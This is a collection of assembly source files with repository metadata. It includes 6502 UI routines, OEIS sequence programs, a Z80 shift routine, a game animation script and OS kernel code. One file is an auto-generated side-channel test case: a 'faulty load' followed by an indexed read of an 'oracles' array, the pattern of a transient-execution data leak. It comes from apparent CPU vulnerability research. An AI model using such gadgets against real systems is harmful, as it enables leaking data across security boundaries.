$FFE4 cmp #$00 beq CS05 cmp #$91 //CURSOR UP bne CS06 jmp COLOR_UP CS06: cmp #$11 //CURSOR DOWN bne CS07 jmp COLOR_DOWN CS07: cmp #$9D //CURSOR LEFT bne CS08 jmp COLOR_LEFT CS08: cmp #$1D //CURSOR RIGHT bne CS09 jmp COLOR_RIGHT CS09: cmp #$0D //RETURN bne CS10 jsr COLOR_CONVERT jsr SET_MODE jsr COPY_BUFFER_TO_SCREEN rts CS10: jmp CS05 COLOR_CONVERT: lda COLSEL_BG asl asl asl asl ora COLSEL_FG sta SELCOL sta PCOL rts COLOR_UP: lda COLSEL_BANK cmp #00 bne CU02 lda COLSEL_FG cmp #0 beq CU01 jsr FGCOLORHILITE //UNHILITE SELECTION dec COLSEL_FG jsr FGCOLORHILITE //RE-HILITE SELECTION jsr SAMPLE_COLOR_DISPLAY jmp CS05 CU01: jmp CS05 CU02: lda COLSEL_BG cmp #0 beq CU01 jsr BGCOLORHILITE //UNHILITE SELECTION dec COLSEL_BG jsr BGCOLORHILITE //RE-HILITE SELECTION jsr SAMPLE_COLOR_DISPLAY jmp CS05 COLOR_DOWN: lda COLSEL_BANK cmp #00 bne CD02 lda COLSEL_FG cmp #15 beq CD01 jsr FGCOLORHILITE //UNHILITE SELECTION inc COLSEL_FG jsr FGCOLORHILITE //RE-HILITE SELECTION jsr SAMPLE_COLOR_DISPLAY jmp CS05 CD01: jmp CS05 CD02: lda COLSEL_BG cmp #15 beq CD01 jsr BGCOLORHILITE //UNHILITE SELECTION inc COLSEL_BG jsr BGCOLORHILITE //RE-HILITE SELECTION jsr SAMPLE_COLOR_DISPLAY jmp CS05 COLOR_LEFT: jsr COLBANKHILITE //UNHILITE CORRENT SELECTION lda #0 sta COLSEL_BANK //SET LEFT SIDE jsr COLBANKHILITE //RE-HILITE CORRENT SELECTION jmp CS05 COLOR_RIGHT: jsr COLBANKHILITE //UNHILITE CORRENT SELECTION lda #1 sta COLSEL_BANK //SET LEFT SIDE jsr COLBANKHILITE //RE-HILITE CORRENT SELECTION jmp CS05 //This routine highlights the currently selected FG color //on the color picker screen FGCOLORHILITE: lda #%00000000 //INCREMENT DISABLE sta VERA_INC lda COLSEL_FG clc adc #08 sta VERA_HI lda #09 sta VERA_LO jsr TEXTINVERT rts //This routine highlights the currently selected BG color //on the color picker screen BGCOLORHILITE: lda #%00000000 //INCREMENT DISABLE sta VERA_INC lda COLSEL_BG clc adc #08 sta VERA_HI lda #53 sta VERA_LO jsr TEXTINVERT rts //This routine highlights the currently selected bank on the //color picker screen (foreground or background) COLBANKHILITE: lda #%00000000 //INCREMENT DISABLE sta VERA_INC lda #6 sta VERA_HI lda COLSEL_BANK cmp #0 bne CBHL1 lda #9 //"FOREGROUND" LOCATED AT X=4 Y=6 sta VERA_LO jmp CBHL2 CBHL1: lda #53 //"FOREGROUND" LOCATED AT X=28 Y=6 sta VERA_LO CBHL2: jsr TEXTINVERT rts //The following routine inverts 10 characters, but it needs //to have the STARTing position set for VERA_LO and VERA_HI //first, and also needs VERA_INC set to 0. TEXTINVERT: ldx #0 THL01: lda VERA_RW //GET COLOR sta CHRTEMP asl //INVERT COLORS asl asl asl lsr CHRTEMP lsr CHRTEMP lsr CHRTEMP lsr CHRTEMP ora CHRTEMP sta VERA_RW inc VERA_LO inc VERA_LO inx cpx #10 bne THL01 rts //The following routine sets the colors for the //sample figure in the middle of the color select //screen. SAMPLE_COLOR_DISPLAY: jsr COLOR_CONVERT lda #%00000000 //NO INCREMENT sta VERA_INC //START POSITION X=16 Y=12 ldy #12 SCD01: lda #33 sta VERA_LO sty VERA_HI lda SELCOL ldx #00 SCD02: sta VERA_RW inc VERA_LO inc VERA_LO inx cpx #8 bne SCD02 iny cpy #20 bne SCD01 rts LOAD_SAVE_MENU: jsr COPY_SCREEN_TO_BUFFER jsr SET40 lda #1 //WHITE sta $0286 //CURRENT COLOR jsr CLEAR_SCREEN ldy #0 LSM01: lda LOAD_SAVE_TEXT,Y jsr $FFD2 //CHROUT iny cpy #72 bne LSM01 jsr DISPLAY_FILENAME jsr NAME_TYPE jmp LOAD_SAVE_SELECT LOAD_SAVE_TEXT: .byte 19 //HOME .text "FILE NAME:" .byte 13,32,32,32,32,32,32,32,32,32,32 .byte 163,163,163,163,163,163,163,163 //UNDERLINE .byte 163,163,163,163,163,163,163,163 //UNDERLINE .byte 13 .text "DEVICE# 01" .byte 13,13 .text " SAVE LOAD CANCEL" LOAD_SAVE_SELECT: lda #00 sta XTEMP jsr DISPLAY_LS_SELECT LSS1: jsr $FFE4 cmp #$00 beq LSS1 cmp #$9D //CURSOR LEFT bne LSS5 lda XTEMP cmp #00 beq LSS1 dec XTEMP jsr DISPLAY_LS_SELECT jmp LSS1 LSS5: cmp #$1D //CURSOR RIGHT bne LSS8 lda XTEMP cmp #02 beq LSS1 inc XTEMP jsr DISPLAY_LS_SELECT jmp LSS1 LSS8: cmp #13 //RETURN bne LSS10 jmp SEL_FINISHED LSS10: jmp LSS1 SEL_FINISHED: lda XTEMP cmp #0 //SAVE bne SF05 jsr SAVE_ROUTINE jsr SET_MODE jsr COPY_BUFFER_TO_SCREEN rts SF05: cmp #1 //LOAD bne SF08 jsr LOAD_ROUTINE jsr SET_MODE jsr COPY_BUFFER_TO_SCREEN rts SF08: cmp #2 //CANCEL bne SF10 jsr SET_MODE jsr COPY_BUFFER_TO_SCREEN rts SF10: jmp LSS1 DISPLAY_LS_SELECT: lda #%00100000 //INCREMENT BY 2 sta VERA_INC lda #04 //5TH ROW FROM TOP sta VERA_HI lda #1 //LEFT MOST COLUMN COLOR ATTRIBUTE sta VERA_LO lda #06 //WHITE ON BLACK ldy #00 DLS01: sta VERA_RW iny cpy #22 bne DLS01 //HILIGHT SELECTED UNIT ldy XTEMP lda LSMENU,Y sta VERA_LO ldy #0 lda #97// WHITE TEXT ON BLUE DLS02: sta VERA_RW iny cpy #6 bne DLS02 rts LSMENU: .byte 1,15,31 DISPLAY_FILENAME: lda #%00010000 //INCREMENT BY 1 sta VERA_INC lda #00 sta VERA_HI lda #20 //STARTING SCREEN LOCATION sta VERA_LO ldy #00 lda NAME_LENGTH cmp #00 //If name is 0 length, skip to cursor beq FLOOP3 FLOOP1: lda FILE_NAME,Y jsr PETSCII_TO_SCREENCODE sta VERA_RW lda #14 //LIGHT BLUE sta VERA_RW iny cpy NAME_LENGTH bne FLOOP1 //NOW ADD CURSOR FLOOP3: lda #32 sta VERA_RW lda #224 //INVERTED BLUE sta VERA_RW FLOOP2: lda #32//SPACE sta VERA_RW lda #14 //BLUE sta VERA_RW iny cpy #17 bne FLOOP2 rts NAME_TYPE: jsr $FFE4 cmp #$00 beq NAME_TYPE cmp #13 //RETURN bne NT01 lda NAME_LENGTH cmp #00 beq NAME_TYPE rts NT01: cmp #20 //BACKSPACE bne NT02 lda NAME_LENGTH cmp #0 beq NAME_TYPE dec NAME_LENGTH jsr DISPLAY_FILENAME jmp NAME_TYPE NT02: cmp #47 //IS IT GREATER THAN CHR$(47) bcs NT03 jmp NAME_TYPE NT03: cmp #91 //IS IT GREATER THAN CHR$(91) bcc NT04 jmp NAME_TYPE NT04: ldy NAME_LENGTH cpy #16 bne NT05 jmp NAME_TYPE NT05: sta FILE_NAME,Y iny sty NAME_LENGTH jsr DISPLAY_FILENAME jmp NAME_TYPE PETSCII_TO_SCREENCODE: cmp #$ff bne l1 lda #$5e rts l1: pha lsr lsr lsr lsr lsr tax pla clc adc table_p2s,x rts table_p2s: .byte 128,0,192,224,64,192,128,128 SCREENCODE_TO_PETSCII: pha lsr lsr lsr lsr lsr tax pla clc adc table_s2p,x rts table_s2p: .byte 64,0,128,64,128,192,192,0
17.64613
61
0.63205
8e1d948a24dbc6bdd59c0ac91d3c479ef3c7f54b
86
asm
Assembly
gfx/pokemon/unown_t/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
gfx/pokemon/unown_t/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
gfx/pokemon/unown_t/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
setrepeat 2 frame 1, 05 frame 0, 05 frame 2, 05 frame 0, 05 dorepeat 1 endanim
10.75
12
0.674419
a4f22e30b2e09fcdf4dd2381e51cc4347db5a6e5
316
asm
Assembly
libsrc/_DEVELOPMENT/l/sccz80/8-8080/l_asr.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/l/sccz80/8-8080/l_asr.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/l/sccz80/8-8080/l_asr.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; sccz80 crt0 library - 8080 version SECTION code_clib SECTION code_l_sccz80 PUBLIC l_asr PUBLIC l_asr_hl_by_e .l_asr ex de,hl .l_asr_hl_by_e .l_asr1 dec e ret M ld a,h rla ld a,h rra ld h,a ld a,l rra ld l,a jp l_asr1
12.64
36
0.53481
262181f7b29327fce05ff4e33b4c7d251e3438c9
755
asm
Assembly
oeis/135/A135504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/135/A135504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/135/A135504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A135504: a(1)=1; for n>1, a(n) = a(n-1) + lcm(a(n-1),n). ; Submitted by Christian Krause ; 1,3,6,18,108,216,1728,3456,6912,41472,497664,995328,13934592,27869184,167215104,334430208,6019743744,12039487488,240789749760,481579499520,963158999040,11557907988480,277389791723520,554779583447040,3328677500682240,46601485009551360,93202970019102720,186405940038205440,5592178201146163200,11184356402292326400,357899404873354444800,715798809746708889600,8589585716960506675200,154612542905289120153600,309225085810578240307200,618450171621156480614400,23501106521603946263347200 mov $1,1 mov $2,1 lpb $0 mov $3,$2 add $2,1 lpb $3 mov $4,$1 gcd $4,$2 div $1,$4 mov $3,$5 lpe sub $0,1 mul $4,$1 mul $1,$2 add $1,$4 lpe mov $0,$1
34.318182
482
0.762914
690654854e218c06ebd897af828cde8516fadb5a
339
asm
Assembly
oeis/203/A203307.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/203/A203307.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/203/A203307.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A203307: v(n+1)/(2*v(n)), where v=A203305. ; Submitted by Jon Maiga ; 1,12,672,161280,159989760,645078712320,10486399547473920,684552162459097497600,179100751368498596492083200,187617350297573441752474740326400,786539962489104046627462744981792358400 add $0,1 seq $0,28365 ; Order of general affine group over GF(2), AGL(n,2). div $0,2
42.375
182
0.79941
0cc930ccd06d22a1edfc1061de2512a005bb22c1
594
asm
Assembly
Linux/x64/randomOuput/randomOutput.asm
josephnglynn/Learn-Assembly
16e4c4ae60291abc5bf204ae51a43ea72874348e
[ "MIT" ]
1
2021-04-18T20:13:46.000Z
2021-04-18T20:13:46.000Z
Linux/x64/randomOuput/randomOutput.asm
josephnglynn/Learn-Assembly
16e4c4ae60291abc5bf204ae51a43ea72874348e
[ "MIT" ]
null
null
null
Linux/x64/randomOuput/randomOutput.asm
josephnglynn/Learn-Assembly
16e4c4ae60291abc5bf204ae51a43ea72874348e
[ "MIT" ]
null
null
null
; ---------------------------------------------------------------------------------------- ; Infinite Counter Runs on 64-bit Linux only. ; To assemble and run: ; ; nasm -felf64 randomOutput.asm && ld randomOutput.o && ./a.out ; ---------------------------------------------------------------------------------------- section .text global _start _start: mov rax, 1 mov rdi, 1 mov rsi, count mov rdx, 13 syscall inc word [count] jmp _start section .data count: DW 0
24.75
90
0.343434
5654d8cbb6be77c6d5991f55955884f30104a00d
738
asm
Assembly
programs/oeis/116/A116404.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/116/A116404.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/116/A116404.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A116404: Expansion of (1-x)/((1-x)^2 - x^2(1+x)^2). ; 1,1,2,6,15,35,84,204,493,1189,2870,6930,16731,40391,97512,235416,568345,1372105,3312554,7997214,19306983,46611179,112529340,271669860,655869061,1583407981,3822685022,9228778026,22280241075,53789260175,129858761424,313506783024,756872327473,1827251437969,4411375203410,10650001844790,25711378892991,62072759630771,149856898154532,361786555939836,873430010034205,2108646576008245,5090723162050694 mov $3,2 mov $5,$0 lpb $3,1 mov $0,$5 sub $3,1 add $0,$3 sub $0,1 cal $0,48739 ; Expansion of 1/((1 - x)*(1 - 2*x - x^2)). sub $0,1 div $0,2 add $0,10 mov $2,$3 mov $4,$0 sub $4,9 lpb $2,1 mov $1,$4 sub $2,1 lpe lpe lpb $5,1 sub $1,$4 mov $5,0 lpe
27.333333
396
0.695122
47ce6c654aa4a2dbc6c4ef344a60892e2fa5c91f
906
asm
Assembly
oeis/267/A267846.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/267/A267846.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/267/A267846.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A267846: Binary representation of the n-th iteration of the "Rule 227" elementary cellular automaton starting with a single ON (black) cell. ; Submitted by Jon Maiga ; 1,100,11010,1111010,111111010,11111111010,1111111111010,111111111111010,11111111111111010,1111111111111111010,111111111111111111010,11111111111111111111010,1111111111111111111111010,111111111111111111111111010,11111111111111111111111111010,1111111111111111111111111111010,111111111111111111111111111111010,11111111111111111111111111111111010,1111111111111111111111111111111111010,111111111111111111111111111111111111010,11111111111111111111111111111111111111010 seq $0,267847 ; Decimal representation of the n-th iteration of the "Rule 227" elementary cellular automaton starting with a single ON (black) cell. seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
129.428571
463
0.864238
1fdb0de45c3d726d84b49740f77aea45b9c22b44
601
asm
Assembly
oeis/158/A158656.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/158/A158656.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/158/A158656.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A158656: a(n) = 54*n^2 - 1. ; Submitted by Christian Krause ; 53,215,485,863,1349,1943,2645,3455,4373,5399,6533,7775,9125,10583,12149,13823,15605,17495,19493,21599,23813,26135,28565,31103,33749,36503,39365,42335,45413,48599,51893,55295,58805,62423,66149,69983,73925,77975,82133,86399,90773,95255,99845,104543,109349,114263,119285,124415,129653,134999,140453,146015,151685,157463,163349,169343,175445,181655,187973,194399,200933,207575,214325,221183,228149,235223,242405,249695,257093,264599,272213,279935,287765,295703,303749,311903,320165,328535,337013,345599 add $0,1 pow $0,2 mul $0,54 sub $0,1
66.777778
500
0.798669
94db624d52876fa550495b3e7a8ac540f9889baa
730
asm
Assembly
programs/oeis/077/A077898.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/077/A077898.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/077/A077898.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A077898: Expansion of (1 - x)^(-1)/(1 + x - 2*x^2). ; 1,0,3,-2,9,-12,31,-54,117,-224,459,-906,1825,-3636,7287,-14558,29133,-58248,116515,-233010,466041,-932060,1864143,-3728262,7456549,-14913072,29826171,-59652314,119304657,-238609284,477218599,-954437166,1908874365,-3817748696,7635497427,-15270994818,30541989673,-61083979308,122167958655,-244335917270,488671834581,-977343669120,1954687338283,-3909374676522,7818749353089,-15637498706132,31274997412311,-62549994824574,125099989649197,-250199979298344,500399958596739,-1000799917193426,2001599834386905,-4003199668773756,8006399337547567 add $0,2 mov $2,-2 mov $3,2 lpb $0 sub $0,1 mov $1,$2 add $3,$2 mul $3,$2 add $4,$3 lpe sub $2,$4 mul $1,$2 sub $1,4 div $1,8
40.555556
538
0.752055
8ac99d3d611ab405f5d933cb8bd696fab78c8b8f
5,012
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_37_1847.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_37_1847.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_37_1847.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x154d9, %r10 nop nop nop sub %r8, %r8 mov $0x6162636465666768, %rbx movq %rbx, %xmm5 and $0xffffffffffffffc0, %r10 movntdq %xmm5, (%r10) nop nop xor $15613, %r9 lea addresses_WT_ht+0x3d19, %r9 nop nop nop cmp %r13, %r13 mov (%r9), %r12d nop cmp $4158, %r8 lea addresses_A_ht+0xc879, %r13 dec %rbx movb (%r13), %r12b nop sub $17549, %r9 lea addresses_UC_ht+0x4a36, %r9 nop cmp %rdi, %rdi movups (%r9), %xmm1 vpextrq $0, %xmm1, %rbx nop nop nop nop nop xor $5526, %rdi lea addresses_D_ht+0x6d99, %rbx nop sub %r8, %r8 mov (%rbx), %r10 nop nop nop nop nop and $16510, %r9 lea addresses_WC_ht+0x1e5d9, %r8 nop lfence mov $0x6162636465666768, %rbx movq %rbx, %xmm1 movups %xmm1, (%r8) nop sub %r8, %r8 lea addresses_UC_ht+0x1d0d9, %rsi lea addresses_UC_ht+0x17499, %rdi dec %r9 mov $66, %rcx rep movsw nop nop sub $45345, %r8 lea addresses_UC_ht+0x11241, %r12 nop nop nop nop nop and %rbx, %rbx movb (%r12), %cl nop nop nop cmp %r9, %r9 lea addresses_WT_ht+0x1a6d9, %rcx nop nop nop nop add %r13, %r13 movb $0x61, (%rcx) nop nop nop add %r12, %r12 lea addresses_UC_ht+0x9579, %rsi lea addresses_D_ht+0x8679, %rdi cmp %r8, %r8 mov $84, %rcx rep movsl nop nop nop nop nop add $47231, %r8 lea addresses_WC_ht+0xe860, %r10 add %rbx, %rbx mov $0x6162636465666768, %rsi movq %rsi, %xmm2 movups %xmm2, (%r10) nop nop xor $51074, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r8 push %r9 push %rbx push %rcx // Store lea addresses_PSE+0x1ae79, %r9 nop nop nop nop nop cmp $33015, %r14 movw $0x5152, (%r9) nop xor $46505, %rbx // Store mov $0x4dd11b0000000001, %r13 nop nop nop nop nop cmp $43493, %r14 mov $0x5152535455565758, %rbx movq %rbx, (%r13) nop nop nop add $10060, %r8 // Load mov $0x12d7480000000cd9, %r9 nop cmp $55600, %rcx mov (%r9), %r14d nop add $1562, %r9 // Store lea addresses_PSE+0x19cd1, %r9 nop nop xor %rcx, %rcx movl $0x51525354, (%r9) nop nop nop nop nop sub $15112, %r14 // Load lea addresses_US+0x58a7, %rcx nop nop add $32743, %r9 mov (%rcx), %r13w nop nop nop and $59191, %rcx // Faulty Load lea addresses_D+0x58d9, %r11 nop nop and %r13, %r13 vmovups (%r11), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %rcx lea oracles, %r8 and $0xff, %rcx shlq $12, %rcx mov (%r8,%rcx,1), %rcx pop %rcx pop %rbx pop %r9 pop %r8 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_NC', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_US', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT_ht', 'same': True, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'36': 37} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
20.625514
149
0.64166
29652a2cb96d807e58694b585ceda1c143efcf7b
520
asm
Assembly
programs/oeis/053/A053585.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/053/A053585.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/053/A053585.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A053585: If n = p_1^e_1 * ... * p_k^e_k, p_1 < ... < p_k primes, then a(n) = p_k^e_k. ; 1,2,3,4,5,3,7,8,9,5,11,3,13,7,5,16,17,9,19,5,7,11,23,3,25,13,27,7,29,5,31,32,11,17,7,9,37,19,13,5,41,7,43,11,5,23,47,3,49,25,17,13,53,27,11,7,19,29,59,5,61,31,7,64,13,11,67,17,23,7,71,9,73,37,25,19,11,13,79,5,81,41,83,7,17,43,29,11,89,5,13,23,31,47,19,3,97,49,11,25 mov $1,1 lpb $0 mov $1,$0 seq $1,28233 ; If n = p_1^e_1 * ... * p_k^e_k, p_1 < ... < p_k primes, then a(n) = p_1^e_1, with a(1) = 1. div $0,$1 lpe mov $0,$1
47.272727
267
0.565385
85bbb20c1fb53d264848f1a89a175d67703e2c60
12,711
asm
Assembly
uuu/src/cells/ics/helium/helium.asm
ekscrypto/Unununium
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
[ "BSD-2-Clause" ]
7
2019-03-04T08:53:33.000Z
2022-01-28T19:32:12.000Z
uuu/src/cells/ics/helium/helium.asm
ekscrypto/Unununium
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
[ "BSD-2-Clause" ]
null
null
null
uuu/src/cells/ics/helium/helium.asm
ekscrypto/Unununium
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
[ "BSD-2-Clause" ]
null
null
null
;; $Header: /cvsroot/uuu/uuu/src/cells/ics/helium/helium.asm,v 1.6 2001/12/09 17:08:07 instinc Exp $ ;; ;; Helium - ICS (InterCommunication System) ;; Copyright (C) 2001 - Phil Frost ;; Distributed under the BSD License; see file "license" for details [bits 32] ; ----------------------------------- ; defines ;============================================================================== %define _DEBUG_ ; ----------------------------------- ; strucs ;============================================================================== struc ics_client_data ; for client-level data .reserved resb 3 .index resb 1 ; this is the Xth client in the table .table resd 1 ; pointer to table client is in endstruc struc ics_channel_data .first_node resd 1 ; pointer to first node the of the chain .empty resd 1 ; pointer to last node in chain .changes resb 1 ; the number of disconnects, used for cleanup .reserved resb 3 endstruc struc ics_client_node .next_node resd 1 ;-pointer to next node of the same channel .clientA resd 1 ;] .clientB resd 1 ;] .clientC resd 1 ;] .clientD resd 1 ;]-pointer to connect ics clients .clientE resd 1 ;] .clientF resd 1 ;] .count resb 1 ;-number of connected clients .reserved resb 3 endstruc ; ----------------------------------- ; cell init ;============================================================================== section .c_init pushad mov edx, ics_client_node_size mov ecx, 3 ; allocate in 8 block chunks externfunc mem.fixed.alloc_space jc $ mov [ics_client_node_space], edi mov edx, ics_channel_data_size ; ecx still set externfunc mem.fixed.alloc_space jc $ mov [ics_channel_data_space], edi popad ; ----------------------------------- ; section .text ;============================================================================== section .text ; ----------------------------------- ; ics.remove_client ;============================================================================== globalfunc ics.remove_client ;> ;; WARNING: Currently always returns error ;; ;; Allow to remove an ICS client from an ICS channel ;; ;; Parameters: ;;------------ ;; ESI = pointer to ICS client ;; ;; Returns: ;;--------- ;; Errors and registers as usual ;< xor eax, eax dec eax stc retn ; ----------------------------------- ; ics.create_channel ;============================================================================== globalfunc ics.create_channel ;> ;; Register a new ICS channel ;; ;; This is a very simple process, this function allocates one struc ;; ics_channel_data and returns a pointer to it. ;; ;; parameters: ;; ----------- ;; none ;; ;; returned values: ;; ---------------- ;; EDI = pointer to ics channel data ;; ESI, EBP = unmodified ;; errors as usual ;< push esi mov edi, [ics_channel_data_space] externfunc mem.fixed.alloc ; memory allocate function jc $ pop esi jc .failed ; in case it fails.. push edi ; keep pointer to memory block call _create_new_ics_node ; create a new node pop edx ; restore pointer to memory block jc .failed_free_up ; in case new node failed ;edi = 1st node ;edx = channel struc ;]--Filling out the node data mov [edx], edi ; the first node in the chain mov [edx + ics_channel_data.empty], edi ; last node in the chain mov [edx + ics_channel_data.changes], byte -1 ; cleanup count mov edi, edx ; return pointer to channel data clc ; no error found retn ; get back to 